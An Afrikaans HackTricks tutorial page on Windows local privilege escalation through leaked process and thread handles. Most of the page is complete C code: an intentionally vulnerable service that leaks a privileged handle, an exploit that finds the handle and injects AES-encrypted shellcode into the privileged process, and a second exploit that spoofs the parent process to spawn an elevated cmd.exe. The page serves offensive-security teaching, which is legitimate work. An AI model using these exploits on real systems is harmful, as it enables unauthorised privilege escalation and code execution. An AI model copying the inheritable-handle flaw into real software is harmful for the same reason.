# Uitgelekte Handvatsels Uitbuiting
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
## Inleiding Handvatsels in 'n proses maak dit moontlik om verskillende **Windows-hulpbronne te **benader**: ![RootedCON2022 - Uitbuiting van Uitgelekte Handvatsels vir LPE](<../../.gitbook/assets/image (243).png>) Daar was reeds verskeie **privilege-escalation**-gevalle waar 'n **bevoorregte proses** met **oophandvatsels wat oorgeërf kan word**, 'n **onbevoorregte proses laat loop** wat toegang het tot al daardie handvatsels. Byvoorbeeld, stel jou voor dat **'n proses wat as SISTEEM loop 'n nuwe proses oopmaak** (`OpenProcess()`) met **volle toegang**. Dieselfde proses **skep ook 'n nuwe proses** (`CreateProcess()`) **met lae voorregte maar wat al die oophandvatsels van die hoofproses erf**.\ Dan, as jy **volle toegang tot die lae-bevoorregte proses** het, kan jy die **oophandvat na die bevoorregte proses wat geskep is** met `OpenProcess()` gryp en **'n shellkode inspuit**. ## **Interessante Handvatsels** ### **Proses** Soos jy in die aanvanklike voorbeeld gelees het, as 'n **onbevoorregte proses 'n proseshandvat oorneem** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **willekeurige kode daarop uit te voer**. In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het: * PROCESS\_ALL\_ACCESS * PROCESS\_CREATE\_PROCESS * PROCESS\_CREATE\_THREAD * PROCESS\_DUP\_HANDLE * PROCESS\_VM\_WRITE ### Draad Soortgelyk aan die proseshandvatsels, as 'n **onbevoorregte proses 'n draadhandvat oorneem** van 'n **bevoorregte proses** met genoeg toestemmings, sal dit in staat wees om **willekeurige kode daarop uit te voer**. In [**hierdie uitstekende artikel**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) kan jy ook sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het: * THREAD\_ALL\_ACCESS * THREAD\_DIRECT\_IMPERSONATION * THREAD\_SET\_CONTEXT ### Lêer-, Sleutel- & Afdelingshandvatsels As 'n **onbevoorregte proses** 'n **handvat oorneem** met **skryf-ekwivalente toestemmings** oor 'n **bevoorregte lêer of register**, sal dit in staat wees om die lêer/register te **oorheers** (en met baie **geluk**, **bevoorregte toegang te verkry**). **Afdelingshandvatsels** is soortgelyk aan lêerhandvatsels, die algemene naam van hierdie soorte [voorwerpe is **"Lêerafbeelding"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Dit word gebruik om met **groot lêers te werk sonder om die hele** lêer in die geheue te hou. Dit maak die uitbuiting soortgelyk aan die uitbuiting van 'n Lêerhandvat. ## Hoe om handvatsels van prosesse te sien ### Process Hacker [**Process Hacker**](https://github.com/processhacker/processhacker) is 'n gratis aflaaibare hulpmiddel. Dit het verskeie wonderlike opsies om prosesse te ondersoek en een daarvan is die **vermoë om die handvatsels van elke proses te sien**. Let daarop dat om **alle handvatsels van al die prosesse te sien, die SeDebugPrivilege nodig is** (jy moet dus Process Hacker as administrateur laat loop). Om die handvatsels van 'n proses te sien, klik regskaf in die proses en kies Handvatsels: ![](<../../.gitbook/assets/image (613).png>) Jy kan dan regskaf op die handvat klik en die **toestemmings nagaan**: ![](<../../.gitbook/assets/image (943).png>) ### Sysinternals Handvatsels Die [**Handvatsels** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binêre van Sysinternals sal ook die handvatsels per proses in die konsole lys: ![](<../../.gitbook/assets/image (717).png>) ### LeakedHandlesFinder [**Hierdie hulpmiddel**](https://github.com/lab52io/LeakedHandlesFinder) laat jou toe om uitgelekte **handvatsels te monitor** en selfs **outomaties uit te buit** om toegang te verkry. ### Metodologie Nou dat jy weet hoe om handvatsels van prosesse te vind, moet jy nagaan of enige **onbevoorregte proses toegang het tot bevoorregte handvatsels**. In daardie geval kan die gebruiker van die proses die handvat verkry en dit misbruik om toegang te verkry tot bevoorregte toestemmings. {% hint style="warning" %} Dit is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang te verkry tot al die handvatsels. Maar 'n **gebruiker kan steeds toegang verkry tot die handvatsels van sy prosesse**, dus kan dit nuttig wees as jy wil privesk net van daardie gebruiker om die gereedskap met die gebruiker se gewone toestemmings uit te voer**. ```bash handle64.exe /a | findstr /r /i "process thread file key pid:" ``` {% endhint %} ## Kwesbare Voorbeeld Byvoorbeeld, die volgende kode behoort aan 'n **Windows-diens** wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre lêer is geleë binne die **`Exploit`** funksie. Hierdie funksie begin met **die skep van 'n nuwe handvatselproses met volle toegang**. Dan, dit **skep 'n lae-bevoorregte proses** (deur die lae-bevoorregte token van _explorer.exe_ te kopieer) wat _C:\users\username\desktop\client.exe_ uitvoer. Die **kwesbaarheid lê daarin dat dit die lae-bevoorregte proses skep met `bInheritHandles` as `TRUE`**. Daarom is hierdie lae-bevoorregte proses in staat om die handvatsel van die hoë-bevoorregte proses wat eerste geskep is, te gryp en 'n shellkode in te spuit en uit te voer (sien volgende afdeling). ```c #include #include #include #pragma comment (lib, "advapi32") TCHAR* serviceName = TEXT("HandleLeakSrv"); SERVICE_STATUS serviceStatus; SERVICE_STATUS_HANDLE serviceStatusHandle = 0; HANDLE stopServiceEvent = 0; //Find PID of a proces from its name int FindTarget(const char *procname) { HANDLE hProcSnap; PROCESSENTRY32 pe32; int pid = 0; hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hProcSnap) return 0; pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcSnap, &pe32)) { CloseHandle(hProcSnap); return 0; } while (Process32Next(hProcSnap, &pe32)) { if (lstrcmpiA(procname, pe32.szExeFile) == 0) { pid = pe32.th32ProcessID; break; } } CloseHandle(hProcSnap); return pid; } int Exploit(void) { STARTUPINFOA si; PROCESS_INFORMATION pi; int pid = 0; HANDLE hUserToken; HANDLE hUserProc; HANDLE hProc; // open a handle to itself (privileged process) - this gets leaked! hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); // get PID of user low privileged process if ( pid = FindTarget("explorer.exe") ) hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); else return -1; // extract low privilege token from a user's process if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) { CloseHandle(hUserProc); return -1; } // spawn a child process with low privs and leaked handle ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); CloseHandle(hProc); CloseHandle(hUserProc); return 0; } void WINAPI ServiceControlHandler( DWORD controlCode ) { switch ( controlCode ) { case SERVICE_CONTROL_SHUTDOWN: case SERVICE_CONTROL_STOP: serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); SetEvent( stopServiceEvent ); return; case SERVICE_CONTROL_PAUSE: break; case SERVICE_CONTROL_CONTINUE: break; case SERVICE_CONTROL_INTERROGATE: break; default: break; } SetServiceStatus( serviceStatusHandle, &serviceStatus ); } void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { // initialise service status serviceStatus.dwServiceType = SERVICE_WIN32; serviceStatus.dwCurrentState = SERVICE_STOPPED; serviceStatus.dwControlsAccepted = 0; serviceStatus.dwWin32ExitCode = NO_ERROR; serviceStatus.dwServiceSpecificExitCode = NO_ERROR; serviceStatus.dwCheckPoint = 0; serviceStatus.dwWaitHint = 0; serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); if ( serviceStatusHandle ) { // service is starting serviceStatus.dwCurrentState = SERVICE_START_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do initialisation here stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); // running serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); Exploit(); WaitForSingleObject( stopServiceEvent, -1 ); // service was stopped serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; SetServiceStatus( serviceStatusHandle, &serviceStatus ); // do cleanup here CloseHandle( stopServiceEvent ); stopServiceEvent = 0; // service is now stopped serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); serviceStatus.dwCurrentState = SERVICE_STOPPED; SetServiceStatus( serviceStatusHandle, &serviceStatus ); } } void InstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); if ( serviceControlManager ) { TCHAR path[ _MAX_PATH + 1 ]; if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { SC_HANDLE service = CreateService( serviceControlManager, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0 ); if ( service ) CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } void UninstallService() { SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); if ( serviceControlManager ) { SC_HANDLE service = OpenService( serviceControlManager, serviceName, SERVICE_QUERY_STATUS | DELETE ); if ( service ) { SERVICE_STATUS serviceStatus; if ( QueryServiceStatus( service, &serviceStatus ) ) { if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) DeleteService( service ); } CloseServiceHandle( service ); } CloseServiceHandle( serviceControlManager ); } } int _tmain( int argc, TCHAR* argv[] ) { if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { InstallService(); } else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { UninstallService(); } else { SERVICE_TABLE_ENTRY serviceTable[] = { { serviceName, ServiceMain }, { 0, 0 } }; StartServiceCtrlDispatcher( serviceTable ); } return 0; } ``` ### Uitbuitingsvoorbeeld 1 {% hint style="info" %} In 'n werklike scenario sal jy waarskynlik **nie die binêre lêer kan beheer nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\users\username\desktop\client.exe_ in hierdie geval). Jy sal waarskynlik 'n proses **kompromitteer en moet kyk of jy toegang het tot enige kwesbare handvatsels van enige bevoorregte proses**. {% endhint %} In hierdie voorbeeld kan jy die kode van 'n moontlike uitbuiting vir _C:\users\username\desktop\client.exe_ vind.\ Die mees interessante deel van hierdie kode is geleë in `GetVulnProcHandle`. Hierdie funksie sal **begin om al die handvatsels te soek**, dan sal dit **kyk of enige van hulle aan dieselfde PID behoort** en as die handvat aan 'n **proses** behoort. As al hierdie vereistes voltooi is (daar is 'n toeganklike oop proseshandvat gevind), sal dit probeer om 'n **shellcode in te spuit en uit te voer deur die handvat van die proses te misbruik**.\ Die inspuiting van die shellcode word binne die **`Inject`** funksie gedoen en dit sal net **die shellcode binne die bevoorregte proses skryf en 'n draad binne dieselfde proses skep** om die shellcode uit te voer. ```c #include #include #include #include #include #include #include #include #include #include "client.h" #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ return -1; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ return -1; } if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ return -1; } if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ return -1; } if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ return -1; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); return 0; } HANDLE GetVulnProcHandle(void) { ULONG handleInfoSize = 0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); HANDLE hProc = NULL; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); DWORD dwOwnPID = GetCurrentProcessId(); pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); printf("[+] Grabbing handles..."); while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); if (status != STATUS_SUCCESS) { printf("[!] NtQuerySystemInformation failed!\n"); return 0; } printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); // iterate handles until we find the privileged process handle for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; // Check if this handle belongs to our own process if (handle.UniqueProcessId != dwOwnPID) continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ) != STATUS_SUCCESS) continue; // skip some objects to avoid getting stuck // see: https://github.com/adamdriscoll/PoshInternals/issues/7 if (handle.GrantedAccess == 0x0012019f && handle.GrantedAccess != 0x00120189 && handle.GrantedAccess != 0x120089 && handle.GrantedAccess != 0x1A019F ) { free(objectTypeInfo); continue; } // get object name information objectNameInfo = malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength ) != STATUS_SUCCESS) { // adjust the size of a returned object and query again objectNameInfo = realloc(objectNameInfo, returnLength); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, returnLength, NULL ) != STATUS_SUCCESS) { free(objectTypeInfo); free(objectNameInfo); continue; } } // check if we've got a process object objectName = *(PUNICODE_STRING) objectNameInfo; UNICODE_STRING pProcess; pRtlInitUnicodeString(&pProcess, L"Process"); if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { printf("[+] Found process handle (%x)\n", handle.HandleValue); hProc = (HANDLE) handle.HandleValue; free(objectTypeInfo); free(objectNameInfo); break; } else continue; free(objectTypeInfo); free(objectNameInfo); } return hProc; } int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) { LPVOID pRemoteCode = NULL; HANDLE hThread = NULL; BOOL bStatus = FALSE; pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread"); pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL); if (bStatus != FALSE) { WaitForSingleObject(hThread, -1); CloseHandle(hThread); return 0; } else return -1; } int main(int argc, char **argv) { int pid = 0; HANDLE hProc = NULL; // AES encrypted shellcode spawning notepad.exe (ExitThread) char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 }; ```c unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a }; unsigned int payload_len = sizeof(payload); printf("My PID: %d\n", GetCurrentProcessId()); getchar(); // Vind 'n uitgelekte handvatsel na 'n proses hProc = GetVulnProcHandle(); if ( hProc != NULL) { // Ontsleutel die lading AESDecrypt((char *) payload, payload_len, key, sizeof(key)); printf("[+] Stuur geskenk..."); // Injecteer en hardloop die lading in die bevoorregte konteks Inject(hProc, payload, payload_len); printf("gedaan.\n"); } getchar(); return 0; } ``` ### Uitbuitingsvoorbeeld 2 {% hint style="info" %} In 'n werklike scenario sal jy waarskynlik **nie die binêre lêer kan beheer nie** wat deur die kwesbare kode uitgevoer gaan word (_C:\users\gebruikersnaam\desktop\client.exe_ in hierdie geval). Jy sal waarskynlik 'n proses **kompromitteer en moet kyk of jy toegang het tot enige kwesbare handvatsels van enige bevoorregte proses**. {% endhint %} In hierdie voorbeeld, **in plaas van die oop handvat te misbruik** om 'n shell-kode in te spuit en uit te voer, gaan dit gebruik word **die token van die bevoorregte oop handvat proses om 'n nuwe een te skep**. Dit word gedoen in lyne vanaf 138 tot 148. Let op hoe die **funksie `UpdateProcThreadAttribute`** gebruik word met die **eienskap `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` en die handvat na die oop bevoorregte proses**. Dit beteken dat die **geskepte prosesdraad wat \_cmd.exe uitvoer**\_\*\* dieselfde token-bevoorregting sal hê as die oop handvat proses\*\*. ```c #include #include #include #include #include #include #include #include #include #include "client.h" #pragma comment (lib, "crypt32.lib") #pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32") HANDLE GetVulnProcHandle(void) { ULONG handleInfoSize = 0x10000; NTSTATUS status; PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); HANDLE hProc = NULL; POBJECT_TYPE_INFORMATION objectTypeInfo; PVOID objectNameInfo; UNICODE_STRING objectName; ULONG returnLength; HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); DWORD dwOwnPID = GetCurrentProcessId(); pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); printf("[+] Grabbing handles..."); while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, NULL )) == STATUS_INFO_LENGTH_MISMATCH) phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); if (status != STATUS_SUCCESS) { printf("[!] NtQuerySystemInformation failed!\n"); return 0; } printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); // iterate handles until we find the privileged process handle for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) { SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; // Check if this handle belongs to our own process if (handle.UniqueProcessId != dwOwnPID) continue; objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL ) != STATUS_SUCCESS) continue; // skip some objects to avoid getting stuck // see: https://github.com/adamdriscoll/PoshInternals/issues/7 if (handle.GrantedAccess == 0x0012019f && handle.GrantedAccess != 0x00120189 && handle.GrantedAccess != 0x120089 && handle.GrantedAccess != 0x1A019F ) { free(objectTypeInfo); continue; } // get object name information objectNameInfo = malloc(0x1000); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength ) != STATUS_SUCCESS) { // adjust the size of a returned object and query again objectNameInfo = realloc(objectNameInfo, returnLength); if (pNtQueryObject( (HANDLE) handle.HandleValue, ObjectNameInformation, objectNameInfo, returnLength, NULL ) != STATUS_SUCCESS) { free(objectTypeInfo); free(objectNameInfo); continue; } } // check if we've got a process object objectName = *(PUNICODE_STRING) objectNameInfo; UNICODE_STRING pProcess; pRtlInitUnicodeString(&pProcess, L"Process"); if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { printf("[+] Found process handle (%x)\n", handle.HandleValue); hProc = (HANDLE) handle.HandleValue; free(objectTypeInfo); free(objectNameInfo); break; } else continue; free(objectTypeInfo); free(objectNameInfo); } return hProc; } int main(int argc, char **argv) { HANDLE hProc = NULL; STARTUPINFOEXA si; PROCESS_INFORMATION pi; int pid = 0; SIZE_T size; BOOL ret; Sleep(20000); // find leaked process handle hProc = GetVulnProcHandle(); if ( hProc != NULL) { // Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ZeroMemory(&si, sizeof(STARTUPINFOEXA)); InitializeProcThreadAttributeList(NULL, 1, 0, &size); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size ); InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); // Spawn elevated cmd process ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi ); if (ret == FALSE) { printf("[!] Error spawning new process: [%d]\n", GetLastError()); return -1; } } Sleep(20000); return 0; } ``` ## Ander gereedskap en voorbeelde * [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder) Hierdie gereedskap stel jou in staat om gelekte handvatsels te monitor om kwesbare eenhede te vind en selfs outomaties te misbruik. Dit het ook 'n gereedskap om een te laat lek. * [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles) 'n Ander gereedskap om 'n handvat te laat lek en dit te misbruik. ## Verwysings * [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) * [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder) * [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.